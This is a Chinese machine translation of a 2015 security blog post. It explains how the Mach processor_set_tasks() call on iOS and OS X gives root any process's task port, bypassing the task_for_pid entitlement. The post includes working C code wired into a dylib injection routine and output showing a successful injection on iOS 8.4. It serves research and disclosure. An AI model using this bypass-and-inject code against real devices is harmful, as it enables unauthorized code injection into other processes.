本文由 简悦 SimpRead 转码, 原文地址 newosxbook.com
处理器_set_tasks()漏洞不久前在 Black...... 中以 0-day 的形式向全世界披露。
processor_set_tasks()
再次出现漏洞--最后一次......?
Jonathan Levin, @Technologeeks - www.newosxbook.com/ - 08/20/15
不久前的 BlackHat 2014 上,"processor_set_tasks() "漏洞作为 0-day 暴露在世人面前。有趣的是,更准确地说,这是一个 -700 左右的日,因为 MOXiI 第 1 版(2012 年出版)第 387 页详细描述了该 API,并指出了 kernel_task
的泄漏。更有趣的是,Pedro 是 唯一一个真正注意到这一点的人*,尽管它被单独放在一个漂亮的小提示框中 :-)。我自己在进程资源管理器和 coreruption 中都用过它,所以我承认它确实很方便。
然而,Pedro 和那些发现它的人只注意到了 "大奖"--"内核任务",而用户空间是绝对不能访问它的,甚至 root 也不能访问。这样一来,他们就错过了 "亚军"--访问系统中任何其他任务的任务端口,完全规避了 task_for_pid,甚至(尤其是)在 iOS 上也是如此,因为在 iOS 上,这一规定已经执行了相当长的一段时间。
读者可能都知道,"task_for_pid() "是一个神奇的马赫陷阱,所有注入 API 都依赖于它。你需要一种方法来获取进程的任务端口,才能在其中找到乐趣(例如 thread_create
、mach_vm*
等)。如果你看看我的 ARM64/x86_64 注入示例,它就依赖于此,如果你没有这种能力,它就会惨遭失败。在 OS X 上,"taskgated "是传统的处理方式(当你尝试调试时,开发工具会弹出提示),从 10.11 版本开始,AMFI 似乎接管了这一工作)。在 iOS(和 10.11+)上,这需要由卑鄙的 AMFI 强制执行的 "task_for_pid-allow"。
只不过我撒了个谎,算是吧。
使用 "processor_set_tasks "可以获得系统中的任何任务端口。因此,你可以很容易地修改上述示例,使其像下面这样工作:
// Apple says you need a task_for_pid-allow entitlement,
// And I say, bullshit.
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
if (pid == Pid) return (tasks[i]);
}
return (MACH_PORT_NULL);
} // end workaround
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
...
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue! Or... Can We?\n",pid,
mach_error_string(kr));
// Edit : calling workaround
remoteTask = task_for_pid_workaround(pid);
if (remoteTask == MACH_PORT_NULL)
{
fprintf(stderr, "Workaround isn't working. Bravo, 25+ years later, it's been patched\n");
exit(5);
}
}
...
输出结果如下
# Note: WE STILL NEED ROOT ACCESS here - but no entitlements
Phontifex:/tmp root# jtool --ent /tmp/inject2.arm
Binary apparently does not contain any entitlements
Phontifex:/tmp root# /tmp/inject2.arm 829 /tmp/test.arm64.dylib
Unable to call task_for_pid on pid 829: (os/kern) failure). Cannot continue! Or... Can We?
So far so good
TASK 0 PID :1 # Note no kernel_task, this is iOS
.. # ... but some 160 perfectly (ab)usable task ports
TASK 161 PID :829 # Bingo!
# Business as usual from here :-)
Allocated remote stack @0x1001b8000
Pthread exit @198a0324c, 198a0324c
Pthread set self @198a02a9c
Pthread exit @198a0324c, 198a0324c
DLOpen @19884db50
Remote Stack 64 0x100238000, Remote code is 0x1002b8000
# Note this is iOS 8.4
Phontifex:/tmp root# uname -a
Darwin Phontifex 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015;
root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin
所以,AMFI、shmamfi - 它可以工作。不过,它在 OS X 10.10.x 上运行得很好,但 10.11 之前的版本并不强制执行权限,因此会使用 vanilla task_for_pid()
- 阻力最小的方法。
为什么会这样?
因为马赫 API 并不区分任务端口提供的无害信息(例如非常有用的 task_info
信息)和非常非常讨厌的信息(例如 mach_vm_*
和朋友们)。这是马赫的设计缺陷(众多缺陷之一),马赫在设计之初就考虑到了大量的功能,但是,25 年前,谁考虑过这些注入的东西呢?
值得重申的是: 如果你能说服某人或某物将某个进程的任务端口(或内核,PID 0)交给你,那么它就是你的了。只需找到这些端口漏洞即可。也许还有一两个。你永远不知道这些事情。
你为什么要撒谎?
我没有揭露 0 日的习惯,不是为了 15 分钟的名声,也不是为了什么赏金。但现在,这个 0 日终于要死了(至少,在 9/10.11 时肯定会死)。苹果公司 终于 到了这一点,并在 10.11 中为 OS X 带来了 task_for_pid-allow
权限(sigh)。就在我写这篇文章的时候,他们还在对 processor_set_tasks
进行修补,在 b7(今天发布)中已经返回了 less** tasks,所以我只能假设它也会在 iOS 9 10 中得到适当修补(grin)。如果是这样的话......好吧......如果 TaiG 没有过早毁掉它们的话,还有几张王牌可以使用。
我已经说过很多次了,我还要再说一遍: 我反对利用安全漏洞,但我会尽我所能帮助 iOS 保持可越狱状态。如果有一天它不能越狱了,不管是别人还是我自己,我都会转用安卓系统(痛苦地)。
问候
- 佩德罗 (@OSXreverser) - 还在等你找到书中另一个有点明显的 0-day。但现在,请等待第 2 版--到时 会有更多内容揭晓:-)
像往常一样,欢迎提出问题/评论,但请通过 论坛。
* - On second thought, it's not that funny. It just shows how few people apparently read my work in detail. Sheesh.
** - note, "returns less" != "doesn't return any". AAPL uses a new MAC call - expose_task, on processor_set_things and mach_port_space_info (q.v. here) and there's the entitlement of com.apple.system-task-ports which filters. But may I suggest slapping a new entitlement (not just "system" tasks), or really fixing it, by separating task_priv already? And no, I don't mean the task name port. Split the functionality properly!)